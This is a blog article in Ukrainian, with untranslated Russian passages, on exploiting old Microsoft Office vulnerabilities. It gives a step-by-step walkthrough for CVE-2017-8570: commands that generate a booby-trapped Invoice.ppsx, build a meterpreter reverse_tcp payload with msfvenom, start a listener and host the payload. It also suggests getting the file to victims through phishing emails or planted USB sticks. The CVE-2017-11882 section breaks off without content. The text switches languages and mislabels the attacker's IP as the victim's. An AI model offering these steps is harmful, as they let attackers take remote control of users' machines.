Отруєні документи. Як використовувати найнебезпечніші баги в Microsoft Office останнім часом

У цій статті ми розберемо кілька далеко не нових, але свого часу гучних вразливостей в офісних програмах Microsoft. Під них вже давно є модулі Metasploit та купа заготовок на GitHub. Проте непропатчений Office — це, як і раніше, бич корпоративної безпеки та шлях на комп’ютер користувачів.
 

Некоректне оброблення відповідей від OLE (CVE-2017-8570)

В основі цього бага лежить помилка, пов’язана з некоректною обробкою відповідей від сервера функції Microsoft OLE (Object Linking and Embedding), яка дає можливість вбудовувати одні документи всередину інших. Фіча, звісно, корисна, але вкрай небезпечна.

Коли заражений документ відкривають, програма робить запит на віддалений сервер, щоб отримати вбудований файл. Сервер повертає спеціально сформовану відповідь. У ньому міститься вредоносний файл HTA, довільний код з якого після завантаження виконується на цільовій системі.

Про цю проблему стало відомо в квітні 2017 року, а в серпні стався ще один важливий епізод: фахівці з аналітичного відділу Cisco розповіли про нову вразливість, пов’язану з цією, – CVE-2017-0199. Якщо раніше для атак використовувалися документи Rich Text File (RTF), то нова загроза належала до файлів PowerPoint (.ppsx).

Принцип роботи

Атака, що використовує цю вразливість, розвивається за дуже простим сценарієм: користувачеві надходить лист із шкідливим документом Word і обманом змушує жертву відкрити вкладення. Всередині документа ховається об’єкт OLE2link. Якщо жертва використовує Protected View, то експлоїт не спрацює, але якщо цей режим вимкнений, то на сервер атакуючих піде HTTP-запит, який підвантажить файл HTA, замаскований під RTF.

Завантаження файлу HTA, замаскованого під документ RTF

Листинг дампа в дизассемблере, демонстрирующий «опасную начинку»

Коли файл HTA підвантажиться, його буде виконано автоматично. Таким чином, експлоїт спрацьовує, а вихідний документ Word буде закритий. Замість нього відкриється документ-фальшивка, призначена для присиплення пильності жертви.

Эксплуатация

Насамперед йдемо на GitHub і дивимося експлоїти. Я користуватимуся варіантом користувача tezukanice. Створюємо в директорії Office8570 папку template і переносимо до неї завантажений нами файл template.ppsx.

Підготовчий етап

Тепер запускаємо скрипт, щоб згенерувати файл PPSX з корисним навантаженням:

$ python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.0.104/logo.doc

Вказуємо IP жертви (у моєму випадку це 192.168.0.104) та бачимо, що з’явився файл Invoice.ppsx.

Отруєні документи. Як використовувати найнебезпечніші баги в Microsoft Office останнім часом 1

Генерируем файл с полезной нагрузкой

Далее, используя Metasploit, создаем полезную нагрузку в виде файла shell.exe в каталоге tmp:

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4444 -f exe > /tmp/shell.exe

Справа зроблено, тепер запускаємо слухач, який чекатиме на порт:

$ msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.0.104; set LPORT 4444; run"

Щоб усе запрацювало, нам залишається зробити ще одну дію – прописати команду на запуск локального сервера на 80-му порті.

$ python cve-2017-8570_toolkit.py -M exp -e http://192.168.0.104/shell.exe -l /tmp/shell.exe

І останній крок – потрібно передати інфікований файл презентації PowerPoint (Invoice.ppsx) на машину жертви. Як уже інше питання. Можна підготувати фішингове лист, підкинути флешку або ще щось у такому дусі. Коли жертва відкриє файл на своїй машині, відпрацює експлоїт, і ми матимемо гвинтовий шелл.

Демонстрацию бага можешь наблюдать на видео.

 

Переполнение буфера в редакторе формул (CVE-2017-11882)

Цей небезпечний баг, який дає змогу виконати код без взаємодії з користувачем, існував 17 (сімнадцять!) років.

Дослідники пояснюють, що проблема пов’язана із роботою Microsoft Equation Editor (EQNEDT32.EXE). Здавалося б, це ж нешкідливий редактор формул! Але скомпільовано цей файл востаннє було 9 листопада 2000 року. Зрозуміло, він відповідає сучасним стандартам безпеки. У Office 2007 цей компонент замінили на нову версію, але стару прибирати не стали — людям же потрібно відкривати старі документи, вірно?

Отруєні документи. Як використовувати найнебезпечніші баги в Microsoft Office останнім часом 2

Залишити відповідь

Ваша e-mail адреса не оприлюднюватиметься. Обов’язкові поля позначені *